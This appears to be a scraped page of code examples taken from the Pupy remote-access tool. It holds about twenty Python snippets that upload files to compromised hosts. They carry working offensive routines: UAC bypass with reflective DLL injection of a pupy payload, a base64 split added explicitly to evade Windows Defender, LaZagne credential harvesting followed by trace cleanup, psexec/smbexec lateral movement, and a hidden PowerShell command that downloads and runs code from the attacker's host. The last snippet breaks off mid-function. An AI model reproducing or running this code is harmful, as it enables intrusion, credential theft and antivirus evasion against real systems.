Example #1
0
    def run(self, args):
        localfile =  os.path.expandvars(args.local_file)

        rexpandvars = self.client.remote('os.path', 'expandvars')
        rjoin =  self.client.remote('os.path', 'join')
        risdir =  self.client.remote('os.path', 'isdir', False)

        if args.remote_file:
            remotefile = rexpandvars(args.remote_file)
        else:
            rtempfile = self.client.conn.modules['tempfile']
            tempdir = rtempfile.gettempdir()
            remotefile = rjoin(tempdir, os.path.basename(localfile))

        if remotefile.endswith('.'):
            remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1])

        if os.path.isfile(localfile) and risdir(remotefile):
            remotefile = rjoin(remotefile, os.path.basename(localfile))

        size = os.stat(localfile).st_size

        self.info(
            "Uploading local:%s to remote:%s (size=%d)"%(
                localfile,
                remotefile,
                size
            )
        )

        try:
            upload(self.client.conn, localfile, remotefile, chunk_size=8*1024*1024)
        except Exception, e:
            self.error(' '.join(x for x in e.args if type(x) in (str, unicode)))
            return
Example #2
0
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
		Upload pupy dll as a txt file
		'''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.debug("Address configured is %s:%s for pupy dll..." %
                      (host, port))
        logging.debug("Looking for process architecture...")

        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            logging.debug("Target achitecture is x64, using a x64 dll")
            dllbuff = pupygen.get_edit_pupyx64_dll(
                self.module.client.get_conf())
        else:
            logging.debug("Target achitecture is x86, using a x86 dll")
            dllbuff = pupygen.get_edit_pupyx86_dll(
                self.module.client.get_conf())

        logging.debug("Creating the pupy dll in %s locally" %
                      (self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
                    (base64.b64encode(dllbuff)))

        logging.debug("Uploading pupy dll in {0}".format(
            self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
Example #3
0
 def uploadPupyDLL(self, force_x86_dll=False):
     '''
     Upload pupy dll as a txt file
     '''
     res=self.module.client.conn.modules['pupy'].get_connect_back_host()
     host, port = res.rsplit(':',1)
     logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
     logging.info("Looking for process architecture...")
     logging.info("force x86 is %s"%force_x86_dll)
     conf = self.module.client.get_conf()
     if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
         dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x64', shared=True)
     else:
         dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x86', shared=True)
     
     logging.info("Creating the pupy dll (%s) in %s locally"%(tpl, self.pupyDLLLocalPath))
     with open(self.pupyDLLLocalPath, 'w+') as w:
         #the following powershell line in a txt file is detected by Windows defender
         #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
         #To bypass antivirus detection:
         dllbuffEncoded = base64.b64encode(dllbuff)
         w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:]))
     
     logging.info("Uploading pupy dll {0} to {1}".format(self.pupyDLLLocalPath, self.pupyDLLRemotePath))
     upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
        Upload pupy dll as a txt file
        '''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.info("Address configured is %s:%s for pupy dll..." %
                     (host, port))
        logging.info("Looking for process architecture...")
        logging.info("force x86 is %s" % force_x86_dll)
        conf = self.module.client.get_conf()
        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x64', shared=True)
        else:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x86', shared=True)

        logging.info("Creating the pupy dll (%s) in %s locally" %
                     (tpl, self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            #the following powershell line in a txt file is detected by Windows defender
            #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
            #To bypass antivirus detection:
            dllbuffEncoded = base64.b64encode(dllbuff)
            w.write(
                '$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'
                .format(dllbuffEncoded[0:2], dllbuffEncoded[2:]))

        logging.info("Uploading pupy dll {0} to {1}".format(
            self.pupyDLLLocalPath, self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
Example #5
0
    def run(self, args):
        ros = self.client.conn.modules['os']
        localfile = os.path.expandvars(args.local_file)

        if args.remote_file:
            remotefile = ros.path.expandvars(args.remote_file)
        else:
            ros = self.client.conn.modules['os']
            rtempfile = self.client.conn.modules['tempfile']
            tempdir = rtempfile.gettempdir()
            remotefile = ros.path.join(tempdir, os.path.basename(localfile))

        if remotefile.endswith('.'):
            remotefile = os.path.join(os.path.dirname(remotefile),
                                      args.local_file.split(os.sep)[-1])

        if os.path.isfile(localfile) and ros.path.isdir(remotefile):
            remotefile = ros.path.join(remotefile, os.path.basename(localfile))

        size = os.stat(localfile).st_size

        self.info("Uploading local:%s to remote:%s (size=%d)" %
                  (localfile, remotefile, size))

        upload(self.client.conn,
               localfile,
               remotefile,
               chunk_size=8 * 1024 * 1024)

        self.success("file local:%s uploaded to remote:%s" %
                     (localfile, remotefile))

        self.client.conn.modules['os'].chmod(remotefile,
                                             os.stat(localfile).st_mode)
Example #6
0
    def uploadPowershellScripts(self):
        '''
		Upload main powershell script and invokeReflectivePEInjection script
		'''
        mainPowerShellScriptPrivileged = """
		cat {0} | Out-String  | iex
		cat {1} | Out-String  | iex
		Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
		""" #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt
        logging.info("Creating the Powershell script in %s locally" %
                     (self.mainPowerShellScriptPrivilegedLocalPath))
        with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
            w.write(
                mainPowerShellScriptPrivileged.format(
                    self.invokeReflectivePEInjectionRemotePath,
                    self.pupyDLLRemotePath))
        logging.info(
            "Uploading powershell code for DLL injection in {0}".format(
                self.invokeReflectivePEInjectionRemotePath))
        upload(self.module.client.conn,
               self.invokeReflectivePEInjectionLocalPath,
               self.invokeReflectivePEInjectionRemotePath)
        logging.info(
            "Uploading main powershell script executed by BypassUAC in {0}".
            format(self.mainPowershellScriptRemotePath))
        upload(self.module.client.conn,
               self.mainPowerShellScriptPrivilegedLocalPath,
               self.mainPowershellScriptRemotePath)
Example #7
0
    def uploadPupyDLL(self):
        '''
		Returns True if no error. Otherwise returns False
		'''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.info("Address configured is %s:%s for pupy dll..." %
                     (host, port))
        logging.info("Looking for process architecture...")
        if self.module.client.conn.modules[
                'pupwinutils.processes'].is_x64_architecture() == True:
            logging.info("Target achitecture is x64, using a x64 dll")
            dllbuff = pupygen.get_edit_pupyx64_dll(
                self.module.client.get_conf())
        elif self.module.client.conn.modules[
                'pupwinutils.processes'].is_x86_architecture() == True:
            logging.info("Target achitecture is x86, using a x86 dll")
            dllbuff = pupygen.get_edit_pupyx86_dll(
                self.module.client.get_conf())
        else:
            self.module.error(
                "Target architecture is unknown (!= x86 or x64), abording...")
            return False
        logging.info("Creating the pupy dll in %s locally" %
                     (self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
                    (base64.b64encode(dllbuff)))
        logging.info("Uploading pupy dll in {0}".format(
            self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
        return True
Example #8
0
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
        Upload pupy dll as a txt file
        '''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.debug("Address configured is %s:%s for pupy dll..." %
                      (host, port))
        logging.debug("Looking for process architecture...")

        conf = self.module.client.get_conf()
        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x64', shared=True)
        else:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x86', shared=True)

        logging.debug("Creating the pupy dll (%s) in %s locally" %
                      (tpl, self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
                    (base64.b64encode(dllbuff)))

        logging.debug("Uploading pupy dll in {0}".format(
            self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
Example #9
0
 def run(self, args):
     logger.debug("run(args) was called")
     info("Attempting to upload file...")
    
     try:
         upload(self.client.conn, args.local_file, args.remote_file)
         success("File transfer complete.")
         logger.info("File transfer complete.")
     except ValueError as e:
         error("Cannot upload file")
         logger.error("File transfer failed.")
Example #10
0
    def run(self, args):
        logger.debug("run(args) was called")
        info("Attempting to upload file...")

        try:
            upload(self.client.conn, args.local_file, args.remote_file)
            success("File transfer complete.")
            logger.info("File transfer complete.")
        except KeyboardInterrupt:
            logger.info("Caught Ctrl-C")
        except ValueError as e:
            error("Cannot upload file")
            logger.error("File transfer failed.")
Example #11
0
    def run(self, args):
        platform=self.client.desc["platform"]
        isWindows = True
        if "Windows" in platform:
            lazagne_path = self.client.pupsrv.config.get("lazagne","win")
        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
        else:
            self.error("Platform not supported")
            return

        if not os.path.isfile(lazagne_path):
            self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
            self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
            return

        tf = tempfile.NamedTemporaryFile()
        dst = tf.name
        if isWindows:
            remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
            tfName = tf.name.split(os.sep)
            tfName = tfName[len(tfName)-1] + '.exe'
            dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
        tf.file.close()

        self.success("Uploading laZagne to: %s" % dst)
        upload(self.client.conn, lazagne_path, dst)

        if not isWindows:
            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

        self.success("Executing")
        cmd = [dst, "all"]
        output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
        self.success("%s" % output)
        
        creds = self.parse_output(output)
        db = Credentials()
        db.add(creds)
        self.success("Passwords stored on the database")
        
        self.success("Cleaning traces")
        self.client.conn.modules['os'].remove(dst)
Example #12
0
	def uploadPowershellScripts(self):
		'''
		Upload main powershell script and invokeReflectivePEInjection script
		'''
		mainPowerShellScriptPrivileged = """
		cat {0} | Out-String  | iex
		cat {1} | Out-String  | iex
		Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
		""" #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt
		logging.info("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath))
		with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
			w.write(mainPowerShellScriptPrivileged.format(self.invokeReflectivePEInjectionRemotePath, self.pupyDLLRemotePath))
		logging.info("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath))
		upload(self.module.client.conn, self.invokeReflectivePEInjectionLocalPath, self.invokeReflectivePEInjectionRemotePath)
		logging.info("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath))
		upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
Example #13
0
def execute_powershell_script(module, content, function):
    template = open(os.path.join(ROOT, "modules", "lib", "utils", "upload_powershell_script_template.ps1"), 'r').read()
    
    # compress the content of the script to upload
    out = StringIO.StringIO()
    with gzip.GzipFile(fileobj=out, mode="w") as f:
      f.write(content)

    # encode the gzip content in base64
    encoded = base64.b64encode(out.getvalue())

    # replace meta data from the template
    template = template.replace('[BASE64]', encoded)
    template = template.replace('[FUNCTION_NAME]', function)
    
    output = ""
    # execute of the powershell script in memory if the size is lower of the max size
    if len(template) < 32710:
        module.success("Executing the powershell code on memory")
        cmd = []
        cmd.append('powershell.exe')
        cmd.append('/c')
        cmd.append(template)
        output = module.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
    else:
        tf = tempfile.NamedTemporaryFile()
        f = open(tf.name, 'w')
        f.write(template)
        f.close()
        
        remoteTempFolder = module.client.conn.modules['os.path'].expandvars("%TEMP%")
        tfName = tf.name.split(os.sep)
        tfName = tfName[len(tfName)-1]
        
        module.success("Uploading powershell code to: %s\%s.ps1" % (remoteTempFolder, tfName))
        upload(module.client.conn, tf.name, module.client.conn.modules['os.path'].join(remoteTempFolder, '%s.ps1' % tfName))

        module.success("Executing the powershell code")
        output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s.ps1"%(module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
        
        module.success("Removing the powershell code")
        module.client.conn.modules.subprocess.check_output("cmd.exe del %s.ps1" % (module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)

    return output
Example #14
0
    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])
        
        src = ''
        dst = ''
        exe_name = ''
        if args.file:
            if not os.path.exists(args.file):
                self.error('File not found: %s' % args.file)
                return

            if not args.file.endswith('.exe'):
                self.error('Only executable files could be uploaded')
                return

            exe_name = ''.join(random.sample(string.ascii_letters, 10)) + '.exe'
            if self.client.is_windows():
                remote_path = '%s\\%s' % (self.client.conn.modules['os.path'].expandvars("%ALLUSERSPROFILE%"), exe_name) # Do a remote path for linux machine
            else:
                remote_path = '/tmp/%s' % exe_name

            self.info("Uploading file to {0}".format(remote_path))
            upload(self.client.conn, args.file, remote_path)
            self.info("File uploaded")
            
            # once uploaded, this file has to be uploaded to the windows share
            src = remote_path
            dst = '%s\\%s' % (args.share.replace('$', ':'), exe_name)

        self.info("Loading dependencies")
        self.client.load_package("impacket")
        self.client.load_package("calendar")
        self.client.load_package("pupyutils.smbexec")

        with redirected_stdo(self.client.conn):
            for host in hosts:
                self.info("Connecting to the remote host: %s" % host)
                self.client.conn.modules["pupyutils.smbexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, args.file, exe_name, src, dst, args.command, args.domain, args.execm)
Example #15
0
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
        Upload pupy dll as a txt file
        '''
        res=self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':',1)
        logging.debug("Address configured is %s:%s for pupy dll..."%(host,port))
        logging.debug("Looking for process architecture...")

        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            logging.debug("Target achitecture is x64, using a x64 dll")
            dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf())
        else:
            logging.debug("Target achitecture is x86, using a x86 dll")
            dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf())
        
        logging.debug("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
        
        logging.debug("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
Example #16
0
 def uploadPowershellScripts(self):
     '''
     Upload main powershell script and invokeReflectivePEInjection script
     '''
     mainPowerShellScriptPrivileged = """
     cat {invoke_reflective_pe_injection} | Out-String  | iex
     cat {pupy_dll} | Out-String  | iex
     {InvokeReflectivePEInjection} -PEBytes $PEBytes -ForceASLR
     """.format(invoke_reflective_pe_injection=self.invokeReflectivePEInjectionRemotePath, pupy_dll=self.pupyDLLRemotePath, InvokeReflectivePEInjection=self.reflectivePE_random_name)
     
     logging.info("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath))
     with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
         w.write(mainPowerShellScriptPrivileged)
     
     logging.info("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath))
     content = re.sub("Invoke-ReflectivePEInjection", self.reflectivePE_random_name, open(self.invokeReflectivePEInjectionLocalPath).read(), flags=re.I)
     tmp_file = os.path.join(gettempdir(),'reflective_pe.txt')
     with open(tmp_file, 'w+') as w:
         w.write(content)
     upload(self.module.client.conn, tmp_file, self.invokeReflectivePEInjectionRemotePath)
     logging.info("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath))
     upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
Example #17
0
    def uploadPowershellScripts(self):
        '''
		Upload main powershell script and invokeReflectivePEInjection script
		'''
        mainPowerShellScriptPrivileged = """
		cat {invoke_reflective_pe_injection} | Out-String  | iex
		cat {pupy_dll} | Out-String  | iex
		{InvokeReflectivePEInjection} -PEBytes $PEBytes -ForceASLR
		""".format(invoke_reflective_pe_injection=self.
             invokeReflectivePEInjectionRemotePath,
             pupy_dll=self.pupyDLLRemotePath,
             InvokeReflectivePEInjection=self.reflectivePE_random_name)

        logging.debug("Creating the Powershell script in %s locally" %
                      (self.mainPowerShellScriptPrivilegedLocalPath))
        with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
            w.write(mainPowerShellScriptPrivileged)

        logging.debug(
            "Uploading powershell code for DLL injection in {0}".format(
                self.invokeReflectivePEInjectionRemotePath))
        content = re.sub("Invoke-ReflectivePEInjection",
                         self.reflectivePE_random_name,
                         open(
                             self.invokeReflectivePEInjectionLocalPath).read(),
                         flags=re.I)
        tmp_file = os.path.join(gettempdir(), 'reflective_pe.txt')
        with open(tmp_file, 'w+') as w:
            w.write(content)
        upload(self.module.client.conn, tmp_file,
               self.invokeReflectivePEInjectionRemotePath)

        logging.debug(
            "Uploading main powershell script executed by BypassUAC in {0}".
            format(self.mainPowershellScriptRemotePath))
        upload(self.module.client.conn,
               self.mainPowerShellScriptPrivilegedLocalPath,
               self.mainPowershellScriptRemotePath)
Example #18
0
    def run(self, args):
        ros = self.client.conn.modules['os']
        localfile =  os.path.expandvars(args.local_file)

        if args.remote_file:
            remotefile = ros.path.expandvars(args.remote_file)
        else:
            ros = self.client.conn.modules['os']
            rtempfile = self.client.conn.modules['tempfile']
            tempdir = rtempfile.gettempdir()
            remotefile = ros.path.join(tempdir, os.path.basename(localfile))

        if remotefile.endswith('.'):
            remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1])

        if os.path.isfile(localfile) and ros.path.isdir(remotefile):
            remotefile = ros.path.join(remotefile, os.path.basename(localfile))

        self.info(
            "Uploading local:%s to remote:%s (size=%d)"%(
                localfile,
                remotefile,
                os.stat(localfile).st_size
            )
        )

        upload(
            self.client.conn,
            localfile,
            remotefile
        )

        self.success("file local:%s uploaded to remote:%s"%(localfile, remotefile))

        self.client.conn.modules['os'].chmod(
            remotefile,
            os.stat(localfile).st_mode
        )
Example #19
0
	def uploadPupyDLL(self):
		'''
		Returns True if no error. Otherwise returns False
		'''
		res=self.module.client.conn.modules['pupy'].get_connect_back_host()
		host, port = res.rsplit(':',1)
		logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
		logging.info("Looking for process architecture...")
		if self.module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True:
			logging.info("Target achitecture is x64, using a x64 dll")
			dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf())
		elif self.module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True:
			logging.info("Target achitecture is x86, using a x86 dll")
			dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf())
		else:
			self.module.error("Target architecture is unknown (!= x86 or x64), abording...")
			return False
		logging.info("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath))
		with open(self.pupyDLLLocalPath, 'w+') as w:
			w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
		logging.info("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath))
		upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
		return True
Example #20
0
 def run(self, args):
     dst = self.client.conn.modules['os.path'].expandvars(args.remote_file)
     if dst.endswith('.'):
         dst = dst.replace('.', args.local_file.split(os.sep)[-1])
     upload(self.client.conn, args.local_file, dst)
     self.success("file local:%s uploaded to remote:%s"%(args.local_file, dst))
Example #21
0
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath):
    '''
	Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. 
	'''
    module.client.load_package("psutil")
    module.client.load_package("pupwinutils.processes")
    #Define Remote paths
    remoteTempFolder = module.client.conn.modules['os.path'].expandvars(
        "%TEMP%")
    invokeReflectivePEInjectionRemotePath = "{0}.{1}".format(
        module.client.conn.modules['os.path'].join(
            remoteTempFolder, next(_get_candidate_names())), '.txt')
    invokeBypassUACRemotePath = "{0}.{1}".format(
        module.client.conn.modules['os.path'].join(
            remoteTempFolder, next(_get_candidate_names())), '.ps1')
    mainPowershellScriptRemotePath = "{0}.{1}".format(
        module.client.conn.modules['os.path'].join(
            remoteTempFolder, next(_get_candidate_names())), '.ps1')
    pupyDLLRemotePath = "{0}.{1}".format(
        module.client.conn.modules['os.path'].join(
            remoteTempFolder, next(_get_candidate_names())), '.txt')
    #Define Local paths
    mainPowerShellScriptPrivilegedLocalPath = os.path.join(
        gettempdir(), 'mainPowerShellScriptPrivileged.txt')
    invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external",
                                            "Empire", "privesc",
                                            "Invoke-BypassUAC.ps1")
    invokeReflectivePEInjectionLocalPath = os.path.join(
        rootPupyPath, "pupy", "external", "PowerSploit", "CodeExecution",
        "Invoke-ReflectivePEInjection.ps1")
    invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external",
                                            "Empire", "privesc",
                                            "Invoke-BypassUAC.ps1")
    pupyDLLLocalPath = os.path.join(gettempdir(), 'dllFile.txt')
    #Constants
    bypassUACcmd = "Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file {0} -Verbose'".format(
        mainPowershellScriptRemotePath
    )  #{0}=mainPowerShellScriptPrivileged.ps1
    byPassUACSuccessString = "DLL injection complete!"
    #main powershell script executed by bypassuac powershell script
    mainPowerShellScriptPrivileged = """
	cat {0} | Out-String  | iex
	cat {1} | Out-String  | iex
	Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
	""" #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt
    logging.info("Creating the Powershell script in %s locally" %
                 (mainPowerShellScriptPrivilegedLocalPath))
    with open(mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
        w.write(
            mainPowerShellScriptPrivileged.format(
                invokeReflectivePEInjectionRemotePath, pupyDLLRemotePath))
    logging.info("Uploading powershell code for DLL injection in {0}".format(
        invokeReflectivePEInjectionRemotePath))
    upload(module.client.conn, invokeReflectivePEInjectionLocalPath,
           invokeReflectivePEInjectionRemotePath)
    #logging.info("Uploading powershell code for UAC Bypass in {0}".format())
    #upload(module.client.conn, invokeBypassUACLocalPath, invokeBypassUACRemotePath)
    logging.info(
        "Uploading main powershell script executed by BypassUAC in {0}".format(
            mainPowerShellScriptPrivilegedLocalPath))
    upload(module.client.conn, mainPowerShellScriptPrivilegedLocalPath,
           mainPowershellScriptRemotePath)
    res = module.client.conn.modules['pupy'].get_connect_back_host()
    host, port = res.rsplit(':', 1)
    logging.info("Address configured is %s:%s for pupy dll..." % (host, port))
    logging.info("Looking for process architecture...")
    if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture(
    ) == True:
        logging.info("Target achitecture is x64, using a x64 dll")
        dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf())
    elif module.client.conn.modules[
            'pupwinutils.processes'].is_x86_architecture() == True:
        logging.info("Target achitecture is x86, using a x86 dll")
        dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf())
    else:
        module.error(
            "Target architecture is unknown (!= x86 or x64), abording...")
        return
    logging.info("Creating the pupy dll in %s locally" % (pupyDLLLocalPath))
    with open(pupyDLLLocalPath, 'w+') as w:
        w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
                (base64.b64encode(dllbuff)))
    logging.info("Uploading pupy dll in {0}".format(pupyDLLRemotePath))
    upload(module.client.conn, pupyDLLLocalPath, pupyDLLRemotePath)
    content = re.sub("Write-Verbose ",
                     "Write-Output ",
                     open(invokeBypassUACLocalPath, 'r').read(),
                     flags=re.I)
    logging.info(
        "Starting BypassUAC script with the following cmd: {0}".format(
            bypassUACcmd))
    output = execute_powershell_script(module, content, bypassUACcmd)
    logging.info("BypassUAC script output: %s\n" % (output))
    if byPassUACSuccessString in output:
        module.success("UAC bypassed")
    else:
        module.warning(
            "Impossible to know what's happened remotely. You should active debug mode."
        )
    for aFile in [
            invokeReflectivePEInjectionRemotePath, invokeBypassUACRemotePath,
            mainPowershellScriptRemotePath, pupyDLLRemotePath
    ]:
        logging.info("Deleting remote file {0}".format(aFile))
        output = module.client.conn.modules.subprocess.check_output(
            "DEL /F /Q \"{0}\"".format(aFile),
            stderr=subprocess.STDOUT,
            stdin=subprocess.PIPE,
            shell=True)
        logging.debug("Delete Status: {0}".format(repr(output)))
    module.success(
        "Waiting for a connection from the DLL (take few seconds)...")
Example #22
0
    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])
        
        ext = ''
        remote_path = ''
        dst_folder = ''
        file_to_upload = []
        if args.file or args.ps1:
            
            tmp_dir = tempfile.gettempdir()

            if self.client.is_windows():
                remote_path = '%s\\' % self.client.conn.modules['os.path'].expandvars("%ALLUSERSPROFILE%")
            else:
                remote_path = '/tmp/'

            # write on the temp directory 
            if args.share == 'C$':
                dst_folder = "C:\\Windows\\TEMP\\"
            # write on the root directory
            else:
                dst_folder = '%s\\' % args.share.replace('$', ':')

            # if executable to upload
            if args.file:
                if not os.path.exists(args.file):
                    self.error('File not found: %s' % args.file)
                    return

                if not args.file.endswith('.exe'):
                    self.error('Only executable files could be uploaded')
                    return

                ext = '.exe'
                random_name = ''.join(random.sample(string.ascii_letters, 10)) + ext
                shutil.copy(args.file, tmp_dir + os.sep + random_name)
                file_to_upload = [random_name]

            # if uploading powershell
            else:
                ext = '.txt'
                first_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext
                second_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext
                file_to_upload = [first_stage, second_stage]

                launcher = """cat {invoke_reflective_random_name} | Out-String | IEX""".format(invoke_reflective_random_name=dst_folder + second_stage)
                launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
                open(tmp_dir + os.sep + first_stage, 'w').write(launcher)
                self.success('first stage created: %s' % tmp_dir + os.sep + first_stage)
                
                command = getInvokeReflectivePEInjectionWithDLLEmbedded(self.client.get_conf())
                open(tmp_dir + os.sep + second_stage, 'w').write(command)
                self.success('second stage created: %s' % tmp_dir + os.sep + second_stage)

            for file in file_to_upload:
                src = tmp_dir + os.sep + file
                dst = remote_path + file

                self.info("Uploading file to {0}".format(dst))
                upload(self.client.conn, src, dst)
                self.success("File uploaded")

        if args.ps1_oneliner:
            res=self.client.conn.modules['pupy'].get_connect_back_host()
            ip, port = res.rsplit(':', 1)

            cmd = '%s/pupygen.py -f ps1_oneliner --ps1-oneliner-listen-port %s connect --host %s:%s' % (os.getcwd(), str(args.ps1_port), ip, port)
            self.warning('starting the local server')
            process = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE, stdin=PIPE)
            time.sleep(2)
            
            # check if the server has been launched corretly
            if process.poll():
                self.error('the server has not been launched, check if the port %s or if the file %s/pupygen.py exists' % (str(args.ps1_port), os.getcwd()))
                return
            
            self.success('server started (pid: %s)' % process.pid)
            args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % (ip, str(args.ps1_port))

        self.info("Loading dependencies")
        self.client.load_package("impacket")
        self.client.load_package('ntpath')
        self.client.load_package("calendar")
        self.client.load_package("pupyutils.psexec")

        with redirected_stdo(self.client.conn):
            for host in hosts:
                self.info("Connecting to the remote host: %s" % host)
                self.client.conn.modules["pupyutils.psexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, file_to_upload, remote_path, dst_folder, args.command, args.domain, args.execm)

            if args.ps1_oneliner:                
                self.warning('stopping the local server (pid: %s)' % process.pid)
                process.terminate()

            elif args.ps1:
